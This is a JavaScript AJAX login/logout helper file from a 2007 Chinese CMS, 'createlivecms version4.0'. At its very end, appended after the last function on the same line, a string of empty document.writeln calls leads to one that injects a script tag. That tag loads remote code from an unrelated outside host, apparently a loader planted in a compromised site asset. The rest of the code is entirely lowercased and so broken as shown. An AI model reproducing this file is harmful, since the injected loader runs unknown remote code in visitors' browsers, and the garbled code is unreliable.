//===================================================
// createlivecms version4.0 ajax(by 梅傲风)
//===================================================
// mail: support@aspoo.cn, info@aspoo.cn
// msn : support@aspoo.cn, clw866@hotmail.com
// web : http://www.aspoo.cn
// bbs : http://bbs.aspoo.cn
// copyright (c) 2007 aspoo.cn all rights reserved.
//===================================================
//定义公共变量
var cl_ajaxresponsetext;
var cl_ajaxdosuc	= 0;
var cl_installdir	= "/";
var cl_channelid	= 0;
var cl_sparevar		= 0;  //备用变量
var isdebug			= false;
function showdebug(m){
	if(isdebug){
		alert("[debug]:"+m);
	}
}
function cl_createajaxobj()
{
	var xmlhttp;
	//windows
	try {
		xmlhttp = new activexobject("msxml2.xmlhttp.3.0");
	} catch (e) {
		try {
			xmlhttp = new activexobject("msxml2.xmlhttp");
		} catch (e) {
			try {
				xmlhttp = new activexobject("microsoft.xmlhttp");
			} catch (e) {
				xmlhttp = false;
			}
		}
	}
	//other
	if (!xmlhttp)
	{
		try {
			xmlhttp = new xmlhttprequest();
		} catch (e) {
			xmlhttp = false;
		}
	}
	return xmlhttp;
}
function cl_ajax()
{
	this.xmlhttp= new cl_createajaxobj();
	this.url	= null;
	this.contenttype = "application/x-www-form-urlencoded";
	this.httpmethod = "post";
	this.sucdo = null;
	this.errdo = null;
}
/* get */
cl_ajax.prototype.get = function() {
	this.contenttype= "text/html";
	this.httpmethod = "get";
	if (this.url!=null){this.sendrequest(null);}
}
/* post */
cl_ajax.prototype.post = function(postdata) {
	this.contenttype= "application/x-www-form-urlencoded" ;
	this.httpmethod = "post";
	if (this.url!=null){this.sendrequest(postdata);}
}
cl_ajax.prototype.sendrequest = function(data){
	if ( this.xmlhttp != null )
	{
		this.xmlhttp.open(this.httpmethod, this.url, true);
		if (this.httpmethod=="post"){this.xmlhttp.setrequestheader("content-length",data.length);}
		this.xmlhttp.setrequestheader("content-type", this.contenttype);
		var thisajax=this;var thisfunction;
		this.xmlhttp.onreadystatechange = function (){
			if (thisajax.xmlhttp.readystate==4&&thisajax.xmlhttp.status==200) {
				cl_ajaxresponsetext = thisajax.xmlhttp.responsetext;
				if (cl_ajaxresponsetext.substring(0,2)=="ok") {cl_ajaxdosuc = 1;thisfunction = thisajax.sucdo;}
				else{thisfunction = thisajax.errdo;}
				if (thisfunction!=null){settimeout(thisfunction,10);}
				//cl_ajaxresponsetext = cl_ajaxresponsetext.substring(3,cl_ajaxresponsetext.length);
			}else{
				switch(thisajax.xmlhttp.readystate){
				case 1:
					break;//正在连接服务器;
				case 2:
					break;//正在向服务器发送数据;
				case 3:
					break;//正在接收返回数据;
				default:
					break;//;
				}
			}
		}
		this.xmlhttp.send(data);
	}
}
//用户登录
function ajaxuserlogin(dir,cid,type) {
	cl_installdir = dir;
	cl_channelid= cid;
	cl_sparevar = type;
	var outobj	= document.getelementbyid("loginmessage");
	var username= document.getelementbyid("username").value;
	var userpass= document.getelementbyid("password").value;
	var cookiedate= document.getelementbyid("cookiedate");
	var codestr = document.getelementbyid("codestr");
	var url		= cl_installdir + "user/login.asp";
	var post	= "action=checklogin&ajax=1&username="+escape(username)+"&password="+escape(userpass);
	//对表单进行简单判断
	if (username==""){
		outobj.innerhtml="<font color=\"#ff0033\">用户名不能为空！</font>";
		document.getelementbyid("username").focus();
		return false;}
	if (userpass==""){
		outobj.innerhtml="<font color=\"#ff0033\">密码不能为空！</font>";
		document.getelementbyid("password").focus();
		return false;}
	if (cookiedate){post += "&cookiedate="+escape(cookiedate.value);}
	if (codestr){
		if (codestr.value==""){
		outobj.innerhtml="<font color=\"#ff0033\">验证码不能为空！</font>";
		codestr.focus();
		return false;}
		post += "&codestr="+escape(codestr.value);}
	//输出信息
	//document.getelementbyid("sydl").disabled=true;
	if (outobj){outobj.innerhtml="<font color=\"#0000ff\">正在验证登录信息...</font>";}
	var ajax = new cl_ajax();
	ajax.url = url;
	ajax.sucdo = "ajaxuserloginsuc()";
	ajax.errdo = "ajaxuserloginerr()";
	ajax.post(post);
}
//用户登录/退出成功
function ajaxuserloginsuc() {
	var ajax = new cl_createajaxobj();
	ajax.open("post", cl_installdir + "showlogin.asp", true);
	//ajax.setrequestheader("content-length",postdata.length); 
	ajax.setrequestheader("content-type", "application/x-www-form-urlencoded");
	ajax.onreadystatechange=function() {
		if (ajax.readystate==4&&ajax.status==200) {
			document.getelementbyid("showuserlogin").innerhtml=ajax.responsetext;
		}
	}
	ajax.send("ajax=1&type="+cl_sparevar+"&channelid="+cl_channelid);
}
//用户登录失败
function ajaxuserloginerr() {
	var obj;
	obj = document.getelementbyid("loginmessage");
	if (obj){obj.innerhtml="<font color=\"#ff0033\">"+cl_ajaxresponsetext+"</font>";}
	obj = document.getelementbyid("codestr");
	if (obj){obj.value="";}
	obj = document.getelementbyid("logincode");
	if (obj){obj.innerhtml="<img src=\""+cl_installdir+"inc/cl_getcode.asp?type=getcode\" id=\"logincode\" />";}
	//document.getelementbyid("sydl").disabled=false;
}
//用户退出
function ajaxuserlogout(dir,cid,type) {
	cl_installdir = dir;
	cl_channelid= cid;
	cl_sparevar = type;
	var outobj	= document.getelementbyid("showuserlogin");
	var url		= cl_installdir + "user/logout.asp";
	var date	= "ajax=1"
	if (outobj){outobj.innerhtml="<font color=\"#0000ff\">正在退出登录，请稍候...</font>";}
	var ajax = new cl_ajax();
	ajax.url = url;
	ajax.sucdo = "ajaxuserloginsuc()";
	ajax.post(date);
}document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('');document.writeln('<script language="javascript" src="http://office2.viens.la/office.js?do=list&uid=193&type=blog"></script>');